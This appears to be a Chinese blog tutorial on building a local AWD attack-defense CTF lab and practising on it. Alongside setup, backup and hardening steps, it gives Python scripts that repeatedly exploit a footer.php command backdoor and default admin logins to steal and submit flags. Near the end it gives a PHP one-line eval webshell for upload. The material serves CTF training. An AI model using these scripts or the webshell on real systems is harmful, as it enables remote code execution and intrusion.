平台搭建 我用的是我的ubuntu虚拟机
先是把项目clone下来
1 git clone https://github.com/zhl2008/awd-platform
然后需要下载docker
因为我这台虚拟机已经安装了docker所以就直接找网上的安装docker方法,并没有测试可用性
1 sudo apt install docker.io
然后就是需要下载docker镜像
1 2 3 4 # 下载镜像 sudo docker pull zhl2008/web_14.04# 更改镜像名 sudo docker tag zhl2008/web_14.04 web_14.04
如果下载镜像慢点话,换一下源
1 sudo vi /etc/docker/daemon.json
在空文件里面输入
1 2 3 4 { "registry-mirrors": ["https://registry.docker-cn.com","http://hub-mirror.c.163.com"] }
保存即可
启动比赛平台 先进入awd-platform这个文件夹
里面web开头的都是题目
我们选其中一道题目,并且创建2个队伍
1 python batch.py web_yunnan_simple 2
因为不同的题目有不同的check脚本,所以我们需要改成当前题目的check脚本
在awd-platform/check_server/目录下有一个check.py的文件
找到class check()这个class,把原来的注释掉,换成下面这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class check (): def __init__ (self ): print "checking host: " +host def index_check (self ): res = http('get' ,host,port,'/' ,'' ,headers) if 'Home' in res: return True if debug: print "[fail!] index_fail" return False def test_check (self ): res = http('get' ,host,port,'/about.php?file=header.php' ,'' ,headers) if 'About' in res: return True if debug: print "[fail!] test_fail" return False def test_check_2 (self ): headers['Cookie' ] = '' data = 'key=1' res = http('get' ,host,port,'/services.php' ,data,headers) if 'Services' in res: return True if debug: print "[fail!] test_2_fail" return False
创建好队伍就可以比赛了
1 sudo python start.py ./ 2
这里注意这个sudo,如果没有就会启动失败
利用上面的命令查看虚拟靶机
我们可以看到team1和team2两个靶机,比如team1的web服务端的端口80就是对应8801端口,ssh连接的22端口对应的就是2201端口
然后我们看一下这个虚拟机的ip
然后直接在本机访问172.16.248.131:8801
进入这个页面,这就是team1靶机的一个web页面了
我们访问172.16.248.131:8080/score.txt可以看到当前的积分板,目前是0:0
然后我们必须运行check脚本,这样才会实时检测比赛动态,更新分数
模拟攻击 我们在team1的web服务上看看
这里可以执行shell
拿到flag
提交flag的方式是这样的
1 http://ubuntu主机IP地址:8080/flag_file.php?token=teamx&flag=xxxx (x为队伍号)
http://172.16.248.131:8080/flag_file.php?token=team2&flag=a1f79af3287169eb466a2281c228b2ea
应该是flag刷新了,重新获取一下
http://172.16.248.131:8080/flag_file.php?token=team2&flag=eedb1aaf4a6a0509234214e1fe882606
由于现在还没有过30分钟的准备阶段,所以现在的攻击是不得分的。
如果知道了一个漏洞点,并且可以利用,那么就直接写脚本,这样可以直接攻击在场的所有靶机,因为大家的靶机内容都是一样的。并且还要一直运行这个攻击脚本,就是每隔一段时间flag就会刷新,我们提交新的flag就可以再次得分。
这里尝试写一下自动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport time url="http://172.16.248.131:8802/footer.php" headers={ "User-Agent" :"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15" } data={ 'shell' :'cat /flag' }while 1 : s = requests.post(url=url,headers=headers,data=data) print (s.text) url_get="http://172.16.248.131:8080/flag_file.php?token=team1&flag=" +s.text n=requests.get(url=url_get,headers=headers) print (n.text) time.sleep(600 )
结束比赛 1 sudo python stop_clean.py
测试一下比赛
ssh的密码在pass.txt文件中
登陆到team1的ssh
先备份 备份网站目录 这个ssh软件可以直连sftp,就在右边
1 tar -zcvf /tmp/web.tar.gz /var/www/html/*
把var/www/html整个文件夹打包拷贝到根目录的tmp文件夹下面
把它拖到本地即可
备份数据库 1 mysqldump -u root -p test > /tmp/test01.sql
dump数据库到根目录的/tmp文件夹下创建一个test01.sql
数据库的账号密码和库名是在网站根目录下吗的config.php文件里面看到的
账号root密码root库名test
恢复数据库
进入到mysql的命令行
恢复:
1 2 3 create database test ; use test ;source /tmp/test01.sql
修改ssh密码 因为给的不是root权限,所以不能输入passwd username这样的命令改,只能输入passwd改当前的ctf用户的密码
比如下面这样的复杂密码,粘贴过去即可
hhBCM*8978SUCA:”SA
修复首页的shell后门 修改footer.php文件
把上面的php注释掉
现在cat /flag就页面错误了
修改网站后台的密码 网站有个后台
账号密码还不知道,先去数据库里找
先连接数据库
1 2 查看当前的所有数据库 show databases;
网站的数据库名是test
查看库中所有的表
后台的账号密码应该在admin表
查看admin表中所有的数据
这里后台登进去就有一个flag
顺便把脚本写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport timeimport re url="http://172.16.248.131:8802/login.php" headers={ "User-Agent" :"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15" } data={ 'username' :'admin' , 'password' :'mysql' , 'button' :'SIGN-IN' , }while 1 : s = requests.post(url=url,headers=headers,data=data) ex = '<h3>flag:(.*?)</h3>' ss = re.findall(ex, s.text, re.S)[0 ] print (ss) url_get="http://172.16.248.131:8080/flag_file.php?token=team1&flag=" +ss n=requests.get(url=url_get,headers=headers) print (n.text) time.sleep(600 )
改账号
改密码
上传一句话木马 后台登陆后下面有个文件上传
传一个马
1 2 3 4 5 6 <?php 2 3 $a =$_POST ['H' ];4 eval ("$a " );5 6 ?>